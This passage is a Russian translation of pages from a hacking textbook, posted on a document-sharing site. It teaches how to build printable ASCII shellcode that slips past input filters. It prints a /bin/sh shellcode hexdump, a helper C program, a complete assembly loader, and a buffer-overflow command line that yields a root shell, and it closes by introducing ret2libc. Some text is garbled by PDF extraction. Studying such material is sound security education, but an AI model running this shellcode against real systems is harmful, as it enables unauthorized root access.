Главная страница
Навигация по странице:

  • 0x6a0 Усиление противодействия

  • 0x6b1 Возврат в libc (ret2libc)

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница42 из 51
    1   ...   38   39   40   41   42   43   44   45   ...   51

    410
    0x600 Противодействие
    А поскольку команды pop и push для обоих регистров EAX и ESP ассем- блируются в отображаемые символы ASCII, все это можно сделать с по- мощью отображаемого ASCII.
    Итак, окончательная группа команд, прибавляющая 860 к ESP:
    push esp ; Ассемблируется в T
    pop eax ; Ассемблируется в X
    sub eax, 0x39393333 ; Ассемблируется в -3399
    sub eax, 0x72727550 ; Ассемблируется в -Purr sub eax, 0x54545421 ; Ассемблируется в -!TTT
    push eax ; Ассемблируется в P
    pop esp ; Ассемблируется в \
    Это означает, что цепочка TX-3399-Purr-!TTT P\ в машинном коде приба- вит 860 к ESP. Пока все идет хорошо. Теперь надо построить шелл-код.
    Для начала еще раз обнулим EAX, но теперь, зная принцип, это легко сделать. Затем с помощью других команд sub получим в регистре EAX последние четыре байта шелл-кода в обратном порядке. Так как стек обычно растет вверх (в направлении младших адресов памяти) и стро- ится по схеме FILO, первым помещенным в стек значением должны быть последние четыре байта шелл-кода. Эти байты должны разме- щаться в обратном порядке, соответствующем нашей архитектуре.
    Вот шестнадцатеричный дамп стандартного шелл-кода, использовав- шегося в предыдущих главах, который будет строиться кодом загруз- чика:
    reader@hacking:

    /booksrc $ hexdump -C ./shellcode.bin
    00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
    00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
    00000020 e1 cd 80 |...|
    Здесь полужирным выделены последние четыре байта: в регистре EAX должно быть значение 0x80cde189. Его нетрудно получить с помощью команд циклического вычитания, а затем можно протолкнуть EAX в стек. В результате ESP сместится вверх (в сторону младших адресов памяти), в конец только что записанного значения, и будет готов к при- нятию очередных четырех байт шелл-кода (в предыдущем дампе выде- лены курсивом). С помощью очередной группы команд sub в EAX будет помещено значение 0x53e28951, которое также протолкнем в стек. По- вторяя эту процедуру для каждого четырехбайтного фрагмента, стро- им шелл-код в направлении от конца к началу – навстречу выполняе- мому коду загрузчика.
    00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
    00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
    00000020 e1 cd 80 |...|

    0x690 Ограничения, налагаемые на буфер
    411
    В итоге будет достигнуто начало шелл-кода, но после того как в стек бу- дет помещено значение 0x99c931db, останутся только три байта (в пред- ыдущем шелл-коде выделены курсивом). Положение можно улуч- шить, поместив в начало кода одну однобайтную команду NOP, что при- ведет к проталкиванию в стек значения 0x31c03190 (0x90 – машинный код NOP).
    Каждый из четырехбайтных фрагментов первоначального шелл-кода создается с помощью того же метода вычитания с отображаемыми сим- волами. Следующая программа помогает рассчитать нужные отобра- жаемые величины.
    printable_helper.c
    #include
    #include
    #include
    #include
    #include
    #include
    #define CHR “%_01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW
    XYZ-”
    int main(int argc, char* argv[])
    {
    unsigned int targ, last, t[4], l[4];
    unsigned int try, single, carry=0;
    int len, a, i, j, k, m, z, flag=0;
    char word[3][4];
    unsigned char mem[70];
    if(argc < 2) {
    printf(“Usage: %s \n”, argv[0]);
    exit(1);
    }
    srand(time(NULL));
    bzero(mem, 70);
    strcpy(mem, CHR);
    len = strlen(mem);
    strfry(mem); // Случайный порядок last = strtoul(argv[1], NULL, 0);
    targ = strtoul(argv[2], NULL, 0);
    printf(“calculating printable values to subtract from EAX..\n\n”);
    t[3] = (targ & 0xff000000)>>24; // Разбить на байты t[2] = (targ & 0x00ff0000)>>16;
    t[1] = (targ & 0x0000ff00)>>8;
    t[0] = (targ & 0x000000ff);
    l[3] = (last & 0xff000000)>>24;
    l[2] = (last & 0x00ff0000)>>16;

    412
    0x600 Противодействие l[1] = (last & 0x0000ff00)>>8;
    l[0] = (last & 0x000000ff);
    for(a=1; a < 5; a++) { // Счетчик значений carry = flag = 0;
    for(z=0; z < 4; z++) { // Счетчик байтов for(i=0; i < len; i++) {
    for(j=0; j < len; j++) {
    for(k=0; k < len; k++) {
    for(m=0; m < len; m++)
    {
    if(a < 2) j = len+1;
    if(a < 3) k = len+1;
    if(a < 4) m = len+1;
    try = t[z] + carry+mem[i]+mem[j]+mem[k]+mem[m];
    single = (try & 0x000000ff);
    if(single == l[z])
    {
    carry = (try & 0x0000ff00)>>8;
    if(i < len) word[0][z] = mem[i];
    if(j < len) word[1][z] = mem[j];
    if(k < len) word[2][z] = mem[k];
    if(m < len) word[3][z] = mem[m];
    i = j = k = m = len+2;
    flag++;
    }
    }
    }
    }
    }
    }
    if(flag == 4) { // Если найдены все 4 байта printf(“start: 0x%08x\n\n”, last);
    for(i=0; i < a; i++)
    printf(“ - 0x%08x\n”, *((unsigned int *)word[i]));
    printf(“-------------------\n”);
    printf(“end: 0x%08x\n”, targ);
    exit(0);
    }
    }
    При запуске эта программа ожидает два аргумента: начальное и ко- нечное значения для EAX. Для шелл-кода отображаемого загрузчика в EAX сначала находится ноль, а конечным значением должно быть
    0x80cde189
    . Это значение соответствует последним четырем байтам
    shellcode.bin.
    reader@hacking:/booksrc $ gcc -o printable_helper printable_helper.c reader@hacking:/booksrc $ ./printable_helper 0 0x80cde189
    calculating printable values to subtract from EAX..

    0x690 Ограничения, налагаемые на буфер
    413
    start: 0x00000000
    - 0x346d6d25
    - 0x256d6d25
    - 0x2557442d
    ------------------- end: 0x80cde189
    reader@hacking:/booksrc $ hexdump -C ./shellcode.bin
    00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
    00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
    00000020 e1 cd 80 |...|
    00000023
    reader@hacking:/booksrc $ ./printable_helper 0x80cde189 0x53e28951
    calculating printable values to subtract from EAX..
    start: 0x80cde189
    - 0x59316659
    - 0x59667766
    - 0x7a537a79
    ------------------- end: 0x53e28951
    reader@hacking:/booksrc $
    Здесь показано, какие отображаемые значения нужны, чтобы цикли- ческим вычитанием привести обнуленный регистр EAX к 0x80cde189
    (выделены полужирным). Для следующих четырех байтов шелл-кода
    (двигаясь в обратном направлении) значение EAX нужно привести к 0x53e28951. Процесс повторяется, пока не будет построен весь шелл- код. Ниже приведен код всей процедуры.
    printable.s
    BITS 32
    push esp ; Поместить текущий ESP
    pop eax ; в EAX.
    sub eax,0x39393333 ; Вычитать отображаемые значения,
    sub eax,0x72727550 ; чтобы прибавить 860 к EAX.
    sub eax,0x54545421
    push eax ; Вернуть EAX в ESP.
    pop esp ; В итоге ESP = ESP + 860
    and eax,0x454e4f4a and eax,0x3a313035 ; Обнулить EAX.
    sub eax,0x346d6d25 ; Вычитать отображаемые значения,
    sub eax,0x256d6d25 ; чтобы получить EAX = 0x80cde189.
    sub eax,0x2557442d ; (последние 4 байта shellcode.bin)
    push eax ; Протолкнуть эти байты в стек (ESP).
    sub eax,0x59316659 ; Вычитать отображаемые значения,
    sub eax,0x59667766 ; чтобы получить = 0x53e28951.
    sub eax,0x7a537a79 ; (следующие 4 байта от конца шелл-кода)
    push eax

    414
    0x600 Противодействие sub eax,0x25696969
    sub eax,0x25786b5a sub eax,0x25774625
    push eax ; EAX = 0xe3896e69
    sub eax,0x366e5858
    sub eax,0x25773939
    sub eax,0x25747470
    push eax ; EAX = 0x622f6868
    sub eax,0x25257725
    sub eax,0x71717171
    sub eax,0x5869506a push eax ; EAX = 0x732f2f68
    sub eax,0x63636363
    sub eax,0x44307744
    sub eax,0x7a434957
    push eax ; EAX = 0x51580b6a sub eax,0x63363663
    sub eax,0x6d543057
    push eax ; EAX = 0x80cda4b0
    sub eax,0x54545454
    sub eax,0x304e4e25
    sub eax,0x32346f25
    sub eax,0x302d6137
    push eax ; EAX = 0x99c931db sub eax,0x78474778
    sub eax,0x78727272
    sub eax,0x774f4661
    push eax ; EAX = 0x31c03190
    sub eax,0x41704170
    sub eax,0x2d772d4e sub eax,0x32483242
    push eax ; EAX = 0x90909090
    push eax push eax ; Построить NOP-цепочку.
    push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax

    0x690 Ограничения, налагаемые на буфер
    415
    push eax push eax
    После всех этих операций где-то дальше загрузчика оказывается шелл-код, и, скорее всего, между ним и выполняемым кодом загрузчи- ка остается некоторый промежуток. Разрыв между кодом загрузчика и шелл-кодом можно перекрыть NOP-цепочкой.
    И снова запись в EAX значения 0x90909090 осуществляется командами sub
    , а затем EAX проталкивается в стек. Каждая команда push присое- диняет к началу шелл-кода четыре команды NOP. В конечном счете эти команды NOP станут записываться поверх выполняемых команд push в коде загрузчика, что позволит EIP и программе проскочить по NOP- цепочке к шелл-коду.
    В итоге получаем отображаемую строку ASCII, которая в то же время является исполняемым машинным кодом.
    reader@hacking:/booksrc $ nasm printable.s reader@hacking:/booksrc $ echo $(cat ./printable)
    TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-
    %Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-
    %o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP
    reader@hacking:/booksrc $
    Такой шелл-код в виде отображаемых символов ASCII уже можно про- тащить через бдительную процедуру контроля входных данных про- граммы.
    reader@hacking:/booksrc $ ./update_info $(perl -e ‘print “AAAA”x10’) $(cat
    ./printable)
    [DEBUG]: desc argument is at 0xbffff910
    Segmentation fault reader@hacking:/booksrc $ ./update_info $(perl -e ‘print “\x10\xf9\xff\
    xbf”x10’) $(cat ./printable)
    [DEBUG]: desc argument is at 0xbffff910
    Updating product ########### with description ‘TX-3399-Purr-TTTP\%JONE%501:-
    %mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq- jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-
    N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP’
    sh-3.2# whoami root sh-3.2#
    Отлично. Если вы не до конца поняли, что здесь произошло, то ниже показано, как этот отображаемый шелл-код выполняется в GDB. Адре- са в стеке будут несколько иными, и адрес возврата изменится, но это не мешает шелл-коду: вычисление адресов через ESP делает его уни- версальным.
    reader@hacking:/booksrc $ gdb -q ./update_info
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) disass update_product_description

    416
    0x600 Противодействие
    Dump of assembler code for function update_product_description:
    0x080484a8 : push ebp
    0x080484a9 : mov ebp,esp
    0x080484ab : sub esp,0x28 0x080484ae : mov eax,DWORD PTR [ebp+8]
    0x080484b1 : mov DWORD PTR [esp+4],eax
    0x080484b5 : lea eax,[ebp-24]
    0x080484b8 : mov DWORD PTR [esp],eax
    0x080484bb : call 0x8048388
    0x080484c0 : mov eax,DWORD PTR [ebp+12]
    0x080484c3 : mov DWORD PTR [esp+8],eax
    0x080484c7 : lea eax,[ebp-24]
    0x080484ca : mov DWORD PTR [esp+4],eax
    0x080484ce : mov DWORD PTR [esp],0x80487a0 0x080484d5 : call 0x8048398 0x080484da : leave
    0x080484db : ret
    End of assembler dump.
    (gdb) break *0x080484db
    Breakpoint 1 at 0x80484db: file update_info.c, line 21.
    (gdb) run $(perl -e ‘print “AAAA”x10’) $(cat ./printable)
    Starting program: /home/reader/booksrc/update_info $(perl -e ‘print
    “AAAA”x10’) $(cat ./printable)
    [DEBUG]: desc argument is at 0xbffff8fd
    Program received signal SIGSEGV, Segmentation fault.
    0xb7f06bfb in strlen () from /lib/tls/i686/cmov/libc.so.6
    (gdb) run $(perl -e ‘print “\xfd\xf8\xff\xbf”x10’) $(cat ./printable)
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/reader/booksrc/update_info $(perl -e ‘print “\xfd\
    xf8\xff\xbf”x10’)
    $(cat ./printable)
    [DEBUG]: desc argument is at 0xbffff8fd
    Updating product # with description ‘TX-3399-Purr-!TTTP\%JONE%501:-%mm4-
    %mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP- cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--
    B2H2PPPPPPPPPPPPPPPPPPPPPP’
    Breakpoint 1, 0x080484db in update_product_description (
    id=0x72727550
    ,
    desc=0x5454212d
    ) at update_info.c:21 21 }
    (gdb) stepi
    0xbffff8fd in ?? ()
    (gdb) x/9i $eip
    0xbffff8fd: push esp
    0xbffff8fe: pop eax
    0xbffff8ff: sub eax,0x39393333 0xbffff904: sub eax,0x72727550

    0x690 Ограничения, налагаемые на буфер
    417
    0xbffff909: sub eax,0x54545421 0xbffff90e: push eax
    0xbffff90f: pop esp
    0xbffff910: and eax,0x454e4f4a
    0xbffff915: and eax,0x3a313035
    (gdb) i r esp esp 0xbffff6d0 0xbffff6d0
    (gdb) p /x $esp + 860
    $1 = 0xbffffa2c
    (gdb) stepi 9 0xbffff91a in ?? ()
    (gdb) i r esp eax esp 0xbffffa2c 0xbffffa2c eax 0x0 0
    (gdb)
    Первые девять команд прибавляют к ESP 860 и обнуляют регистр EAX.
    Следующие восемь команд проталкивают последние восемь байт шелл- кода в стек кусками по 4 байта. Этот процесс повторяется в следующих
    32 командах, в результате чего в стеке выстраивается весь шелл-код.
    (gdb) x/8i $eip
    0xbffff91a: sub eax,0x346d6d25 0xbffff91f: sub eax,0x256d6d25 0xbffff924: sub eax,0x2557442d
    0xbffff929: push eax
    0xbffff92a: sub eax,0x59316659 0xbffff92f: sub eax,0x59667766 0xbffff934: sub eax,0x7a537a79 0xbffff939: push eax
    (gdb) stepi 8 0xbffff93a in ?? ()
    (gdb) x/4x $esp
    0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000
    (gdb) stepi 32 0xbffff9ba in ?? ()
    (gdb) x/5i $eip
    0xbffff9ba: push eax
    0xbffff9bb: push eax
    0xbffff9bc: push eax
    0xbffff9bd: push eax
    0xbffff9be: push eax
    (gdb) x/16x $esp
    0xbffffa04: 0x90909090 0x31c03190 0x99c931db 0x80cda4b0 0xbffffa14: 0x51580b6a 0x732f2f68 0x622f6868 0xe3896e69 0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000 0xbffffa34: 0x00000000 0x00000000 0x00000000 0x00000000
    (gdb) i r eip esp eax eip 0xbffff9ba 0xbffff9ba esp 0xbffffa04 0xbffffa04
    eax 0x90909090 -1869574000
    (gdb)

    418
    0x600 Противодействие
    Теперь, когда шелл-код полностью построен в стеке, EAX устанавли- вается равным 0x90909090. Это значение многократно проталкивается в стек, чтобы построить NOP-цепочку, которая соединит конец кода загрузчика с построенным шелл-кодом.
    (gdb) x/24x 0xbffff9ba
    0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050 0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000 0xbffff9da: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff9ea: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff9fa: 0x00000000 0x00000000 0x90900000 0x31909090 0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
    (gdb) stepi 10 0xbffff9c4 in ?? ()
    (gdb) x/24x 0xbffff9ba
    0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050 0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000 0xbffff9da: 0x90900000 0x90909090 0x90909090 0x90909090 0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090 0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
    (gdb) stepi 5 0xbffff9c9 in ?? ()
    (gdb) x/24x 0xbffff9ba
    0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x90905050 0xbffff9ca: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9da: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090 0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
    (gdb)
    Теперь указатель команды (EIP) может проскочить по NOP-мостику в построенный шелл-код.
    Метод отображаемого шелл-кода может открыть некоторые двери. Он и другие обсуждавшиеся нами приемы – это лишь кирпичики, кото- рые можно складывать в мириадах разных комбинаций. Их примене- ние требует некоторой изобретательности. Тот, кто умнее, обыграет со- перника на его собственном поле.
    0x6a0 Усиление противодействия
    Техника эксплойта, продемонстрированная в этой главе, известна дав- но. У программистов было достаточно времени, чтобы предложить ра- зумные способы защиты. Эксплойт можно представить как процесс из трех этапов: сначала тем или иным способом разрушить данные в па- мяти, потом изменить порядок управления и, наконец, выполнить шелл-код.

    0x6b0 Неисполняемый стек
    419
    0x6b0 Неисполняемый стек
    Большинству приложений никогда не требуется выполнять что-либо в стеке, поэтому очевидной мерой защиты от переполнения буфера будет сделать стек неисполняемым. В этом случае внедренный в стек шелл-код становится бесполезным. Такой тип защиты обезврежива- ет большинство эксплойтов и становится все более популярным. В по- следней версии OpenBSD стек неисполняемый по умолчанию, а в Linux неисполняемый стек устанавливается через патч ядра PaX.
    0x6b1 Возврат в libc (ret2libc)
    Конечно, есть и соответствующая технология, применяемая для об- хода данной системы защиты. Эта технология называется ret2libc (от
    returning into libc – возврат в libc). Стандартная библиотека C libc со- держит различные базовые функции, такие как printf() и exit(). Это общие функции, поэтому любая программа, вызывающая функцию printf()
    , переадресует выполнение в соответствующее место в libc. Экс- плойт может сделать то же самое и переадресовать выполнение про- граммы некоторой функции в libc. Функциональность эксплойта при этом ограничена функциями из libc, и по сравнению с произвольным шелл-кодом она существенно уже. Зато в стеке никогда ничего не вы- полняется.
    1   ...   38   39   40   41   42   43   44   45   ...   51


    написать администратору сайта